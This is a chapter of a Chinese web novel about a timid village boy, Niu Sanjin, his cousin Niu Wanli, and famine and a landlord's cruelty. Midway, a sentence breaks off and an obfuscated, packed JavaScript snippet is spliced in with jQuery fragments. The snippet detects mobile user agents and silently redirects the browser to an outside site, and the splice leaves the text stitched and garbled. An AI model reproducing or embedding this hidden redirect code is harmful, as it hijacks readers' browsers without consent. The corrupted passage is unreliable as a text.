10. 第 10 章
作品:《恶毒女配悔改实录》 牛三斤四岁那年,他爹牛老八被拉去济河做苦役,再也没有回来。
他母亲带着他不好改嫁,就留在了牛家村,把牛老八留下的豆腐坊兑了出去,靠着族中分下来的两亩薄田过活,有亲戚和邻居的帮助,他们的日子不算太难过。
只是在村子里面,没爹的孩子总是容易受到欺负,去年中元节晚上,牛三斤被骗到山上受了惊吓,自此又留下个说话结巴的毛病,其他的孩子常常学他说话,一起笑他。
那个时候牛家村可比现在热闹多了,每年一过了农忙,大大小小的孩子成群结队,从村东头跑到村西头,他们上山打鸟,下河捞鱼,村子里一天从早到晚全是他们的吵闹声,不是把这家的狗撵了,就是把那家的草垛拆了。
牛三斤打小就不聪明,反应也慢,这群孩子惹了事就把他给留在原地,让他放风,等他明白过来是怎么回事的时候,其他人早就跑得没影儿了,为此牛三斤没少挨他娘的打。
这年的除夕夜,有孩子偷了家里的爆竹,带着小伙伴们把牛秀才家的鹅圈炸了个窟窿,一群孩子被大鹅追得一边跑,一边嗷嗷叫唤。
那时牛秀才都快五十了,他考了半辈子也没能考上个举人,就在村子里办了个学堂教书,腿脚自然是比不上这些小家伙们,加上天黑,他又要抓大鹅,根本忙不过来。
这次小伙伴们倒是没留下牛三斤一个人,只是他自己比较倒霉,跑出不远就被石头绊倒,大鹅围着他嘎嘎叫,牛三斤坐在地上抱着脑袋呜呜哭。
牛秀才把他拎回家,又将大鹅都赶回圈里,过来问他:“小三斤,告诉大爷,爆竹是谁放的?”
牛三斤把脑袋深深垂下,看着穿到身上还不到半天就摔了一个窟窿的新衣服,手指攥着衣摆,小声说:“俺、俺不知道。”
牛秀才不相信:“不知道?你不是跟他们一起的吗?”
“我、我……”牛三斤在那儿我了大半天,也没说出一句完整的话。
“窝囊死你算了!”他娘不知什么时候来的,一巴掌拍向他的后脑勺。
牛三斤捂住脑袋,瞪大眼睛转头看向他娘。
牛秀才连忙劝道:“三斤娘别生气,三斤这孩子打小就老实,我知道这爆竹肯定不是他扔的。”
“俺就去地窖里掏了颗白菜这么一会儿工夫,这小子就跟人跑了!”她一边说,一边用手指在牛三斤的脑门上使劲戳了戳,骂道:“老实什么啊?就是傻。”
牛三斤低着头呐呐不说话。
“别骂孩子了,这大过年的都高兴点,你婶子包了酸菜猪肉饺子,进去吃点!”
“不吃了不吃了,饺子俺家也包了,三斤俺就领回去了啊叔。”
牛秀才劝她说:“你回去也别骂他了。”
“行,听您的。”牛三斤他娘一口应下。
结果刚出了牛秀才家的大门,牛三斤开口结结巴巴说:“娘,衣、衣服摔破了。”
他娘当时就忍不住在他屁股上拍了一下:“回去看我怎么收拾你!”
牛三斤仰着脑袋,伸出小手想去拉他娘的手,快要抓住的时候,他又胆怯了,把手缩了回去。
远处的小城里放起烟花,像是千万颗星星从夜空坠落,牛三斤哇了一声,他娘也停下脚步,抬头看向远方,等那些烟花都放完了,她牵起牛三斤的小手,带他回家。
牛三斤在帮他的小伙伴们背了一次又一次的黑锅后,也终于有所成长了,他机智地发现,自己跟在二堂哥牛万里身边的时候好像就不会有人学他说话,回家后也不用挨娘亲的打。
自从,牛三斤就像是条小尾巴总跟在牛万里屁股后头。
牛万里的其他兄弟其实都挺瞧不上牛三斤的,牛三斤他这个人说好听点叫老实,说不好听的就是窝囊,忒窝囊!胆小无能,逆来顺受。
不过牛万里这个人是有些侠气在身上的,牛三斤既然跟了他,他就很自觉地承担起保护他的责任来。
在牛三斤心里,二哥是整个牛家村最有本事的人,他无比崇拜自己这位二哥,他被人欺负了可以去找他,去城里玩钱包被偷了可以找他,就连家里的狗跑丢了也可以找他。
甚至牛万里闲下来的时候,还会来田里帮牛三斤和他娘干活。
那时候,牛三斤会跑到集市上,用自己攒了几年才攒下来的一点零花钱买下二两猪头肉,小心翼翼地捧到牛万里面前:“二、二哥,你吃这个。”
牛万里抬头看他,牛三斤比去年长高了一点,在地里忙了半个月,那张本来就不怎么白净的脸蛋也晒得更黑了。
太阳比他们先一步收工回家,接着月亮就偷偷挂到了柳树梢上,春天他们把种子埋进地里,秋天背着金黄的麦子走过田间交错的小路,牛家村的孩子们一天天地长大,牛家村的大人们一天天地老去。
村子里的大家都以为日子就这么日复一日,年复一年地过去,老人死了,还会有孩子降生,可惜天不遂人愿。
王朝早已有了末世之相,近年来又天灾人祸不断,连他们这个天高皇帝远的小村庄也受到波及,不等到秋天,田里的庄稼就全死光了,到了年底不仅连给地主的佃租交不上,还要向地主借粮过年。
地主牛老爷同意借粮,但是要了他们家里的田做抵押,没有田的就用房子来抵,来年还不上,就都归他了,如此没过两年,村子里近八成的田都到了他的名下。农忙时村民们要给地主种地,忙完了还要给地主家挖地窖盖房,他们被当成牛马在田地间日夜操劳,没一刻得闲,家里的孩子也被当成小牛马受地主使唤,最后只换来一点点果腹的粮食。
世道越来越乱,百姓的日子也跟着越来越难过,光是一个冬天,牛家村就饿死了三个大人一个孩子,眼看着大家都要活不下去了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16313242|182268||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,牛万里干脆把村子里的年轻人召集到一起,商量着接下来该怎么给牛家村的人寻一条活路。
有人路过牛三斤家的时候,见牛三斤还坐在院子里搓草绳,就顺嘴叫了他一声:“走啊三斤,去小桥啊。”
牛三斤一脸茫然地抬起头说:“俺、俺俺要去山上捡、捡柴火。”
又有一人走过来,他揽住刚才说话那人的肩膀,笑嘻嘻道:“二哥都没来找三斤,你过来叫他干什么?快走吧,别叫二哥等急了。”
牛三斤想问问二哥要做什么,可没等他把话说出口,两个人就转身跑了。
牛三斤低下头,怀着一肚子疑问继续搓着手里的草绳。
不过很快牛三斤就知道了他二哥做了什么,牛万里带着村子里的年轻人们扮成土匪,打算去地主家打劫,结果牛地主那老东西不知怎么得了风声,带着二三十个家丁,还有一群官府的捕快给他们来了一个瓮中捉鳖,最后牛家村的这群年轻人们全被下了大牢。
牛万里清楚牛三斤的性子,知道跟他说了他大概也是不敢跟他们一起行动的,即便他敢,他笨手笨脚的多半要拖后腿,所以牛万里从头到尾都没打算带他,牛三斤这算是侥幸逃过一劫。
牛三斤并没有感到高兴,除了有他二哥被下了大牢的原因在,还有一些他没法同人言说的失落。
如此又过了小半年,老地主要在村子里给自己家小孙子挑个随从,长得难看的不要,年纪太大或太小的不要,想去他家打劫的不要,挑来挑去,最后挑中了胆小老实的牛三斤。
地主给的月钱不多,但总比在家种地好一点,他娘年纪大了,这些年吃了不少苦,身体不比从前,可现在他们家连个抓药的钱都拿不出来。牛三斤想让他娘过得好一点,而且他还怕自己不同意就得罪了地主那老东西,以后他们娘俩在村子里的日子更不会好过,所以牛三斤没怎么犹豫,就答应下来。
没多久这事就在村子里传扬开来,不少人都猜测打劫的事就是牛三斤向地主告的密,牛三斤不善言辞,在那里不是不是说了半天也说不明白,最后只能作罢。
地主孙子的随从可不好当,这孙子跟他爷爷那狗东西一个样,心情好的时候让牛三斤在地上爬,把他当成大马骑,心情不好便是对他又打又骂,小孙子要是不小心伤到了,那牛三斤更倒霉了,轻则被扣月钱,重则是要拖出去打板子的。
不久前因为小孙子走在路上摔了一跤,牛三斤就挨了顿打,第二天发了烧,他一个人躺在逼仄又潮湿的下人房里也不敢叫大夫,掰着手指算了算自己这半年赚了多少钱,能不能给他娘买一身新衣裳,结果算来算去悲哀地发现自己的月钱几乎要被扣光了。
牛三斤抱着枕头默默掉眼泪,好在第二天他得了一个好消息,就在昨天晚上,牛万里带着他的兄弟们越狱了,这让病中的牛三斤稍微得到了一点安慰。